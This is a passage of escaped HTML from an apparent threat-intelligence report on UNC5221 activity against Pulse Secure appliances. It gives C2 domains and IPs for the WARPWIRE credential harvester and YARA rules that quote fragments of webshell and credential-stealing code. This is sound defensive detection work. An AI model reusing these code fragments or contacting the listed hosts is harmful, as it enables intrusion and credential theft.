style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eNetwork Indicator\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eType\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eDescription\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003esymantke[.]com\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003emiltonhouse[.]nl\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eentraide-internationale[.]fr\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eapi.d-n-s[.]name\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ecpanel.netbar[.]org\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eclickcom[.]click\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eclicko[.]click\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eduorhytm[.]fun\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomai\u200b\u200bn\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eline-api[.]com\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eareekaweb[.]com\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eehangmun[.]com\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003esecure-cama[.]com\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e146.0.228[.]66\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e159.65.130[.]146\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e8.137.112[.]245\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e91.92.254[.]14\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e186.179.39[.]235\u00a0\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMass exploitation activity\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e50.215.39[.]49\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003ePost-exploitation activity\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e45.61.136[.]14\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003ePost-exploitation activity\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e173.220.106[.]166\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003ePost-exploitation activity\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003ch2\u003eYARA Rules\u003c/h2\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003erule M_Hunting_Webshell_BUSHWALK_1 {\r\n meta:\r\n author \u003d \u0026quot;Mandiant\u0026quot;\r\n description \u003d \u0026quot;This rule detects BUSHWALK, a webshell written in Perl CGI \r\nthat is embedded into a legitimate Pulse Secure file to enable file transfers\u0026quot;\r\n\r\n strings:\r\n $s1 \u003d \u0026quot;SafariiOS\u0026quot; ascii\r\n $s2 \u003d \u0026quot;command\u0026quot; ascii\r\n $s3 \u003d \u0026quot;change\u0026quot; ascii\r\n $s4 \u003d \u0026quot;update\u0026quot; ascii\r\n $s5 \u003d \u0026quot;$data \u003d RC4($key, $data);\u0026quot; ascii\r\n condition:\r\n filesize \u0026lt; 5KB\r\n and all of them\r\n}\u003c/code\u003e\u003c/pre\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003erule M_Hunting_Webshell_CHAINLINE_1 {\r\n meta:\r\n author \u003d \u0026quot;Mandiant\u0026quot;\r\n description \u003d \u0026quot;This rule detects the CHAINLINE webshell, \r\nwhich receives RC4 encrypted commands and returns the execution result\u0026quot;\r\n md5 \u003d \u0026quot;3045f5b3d355a9ab26ab6f44cc831a83\u0026quot;\r\n strings:\r\n $s1 \u003d \u0026quot;crypt(command: str)\u0026quot; ascii\r\n $s2 \u003d \u0026quot;tmp[i] \u003d chr(ord(tmp[i])\u0026quot; ascii\r\n $s3 \u003d \u0026quot;ord(RC4_KEY[i % len(RC4_KEY)])\u0026quot; ascii\r\n $s4 \u003d \u0026quot;class Health(Resource)\u0026quot; ascii\r\n $s5 \u003d \u0026quot;crypt(base64.b64decode(command.encode(\u0026quot; ascii\r\n $s6 \u003d \u0026quot;base64.b64encode(crypt(result)\u0026quot; ascii\r\n $s7 \u003d \u0026quot;{\\\u0026quot;message\\\u0026quot;: \u0026#39;ok\u0026#39;, \\\u0026quot;stats\\\u0026quot;: result}\u0026quot; ascii\r\n condition:\r\n filesize \u0026lt; 100KB and\r\n any of them\r\n}\r\n\u003c/code\u003e\u003c/pre\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003erule M_HUNTING_APT_Webshell_FRAMESTING_result\r\n{\r\n meta:\r\n author \u003d \"Mandiant\"\r\n description \u003d \"Detects strings associated with FRAMESTING webshell\"\r\n md5 \u003d \"465600cece80861497e8c1c86a07a23e\"\r\n strings:\r\n $s1 \u003d \"exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),\r\n{'request':request,'cache'\"\r\n $s2 \u003d \"result\u003d{'message':'','action':0}\"\r\n\r\n condition:\r\n any of them\r\n}\u003c/code\u003e\u003c/pre\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003erule M_Hunting_Webshell_LIGHTWIRE_4 {\r\n meta:\r\n author \u003d \u0026quot;Mandiant\u0026quot;\r\n description \u003d \u0026quot;Detects LIGHTWIRE based on the RC4 decoding \r\nand execution 1-liner.\u0026quot;\r\n md5 \u003d \u0026quot;3d97f55a03ceb4f71671aa2ecf5b24e9\u0026quot;\r\n strings:\r\n $re1 \u003d /eval\\{my.{1,20}Crypt::RC4-\u0026gt;new\\(\\\u0026quot;.{1,50}-\u0026gt;RC4\\(decode_base64\\\r\n(CGI::param\\(\\\u0026#39;.{1,30};eval\\s\\$.{1,30}\\\u0026quot;Compatibility\\scheck:\\s\\$@\\\u0026quot;;\\}/\r\n condition:\r\n filesize \u0026lt; 1MB and all of them\r\n}\r\n\u003c/code\u003e\u003c/pre\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003erule M_Hunting_CredTheft_WARPWIRE_strings\r\n{\r\n meta:\r\n author \u003d \u0026quot;Mandiant\u0026quot;\r\n description \u003d \u0026quot;Detects strings within WARPWIRE credential harvester\u0026quot;\r\n md5 \u003d \u0026quot;b15f47e234b5d26fb2cc81fc6fd89775\u0026quot;\r\n strings:\r\n $header \u003d \u0026quot;function SetLastRealm(sValue) {\u0026quot;\r\n\r\n // password fields\r\n $username \u003d \u0026quot;document.frmLogin.username.value;\u0026quot;\r\n $password \u003d \u0026quot;document.frmLogin.password.value;\u0026quot;\r\n\r\n // post version\r\n $btoa \u003d \u0026quot;btoa(\u0026quot;\r\n $xhr_post \u003d /xhr.open\\(.POST.,( )?url,/\r\n\r\n // get version\r\n $xhr_get \u003d /xhr.open\\(.GET.,( )?url,/\r\n $xhr_send \u003d \u0026quot;xhr.send(null);\u0026quot;\r\n\r\n condition:\r\n $header in (0..100) \r\n and $password in (@username[1]..@username[1]+100)\r\n and ((#btoa \u0026gt; 1 and $xhr_post) or ($xhr_send in (@xhr_get[1]..\r\n@xhr_get[1]+50)))\r\n}\u003c/code\u003e\u003c/pre\u003e"]]],[null,null,[null,[null,"\u003ch2\u003eMandiant Security Validation Actions\u003c/h2\u003e\n\u003cp\u003eOrganizations can validate their security controls using the following actions with\u00a0\u003ca href\u003d\"https://cloud.google.com/security/products/threat-intelligence\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eMandiant Security Validation\u003c/u\u003e\u003c/a\u003e.\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eVID\u003c/strong\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eName\u003c/strong\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-938\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - UNC5221, CHAINLINE, Upload, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-939\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - FRAMESTING, Upload, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-940\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - WARPWIRE, Download, Variant #3\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-941\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCommand and Control - WARPWIRE, DNS Query, Variant #3\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-942\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCommand and Control - WARPWIRE, DNS Query, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-943\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid 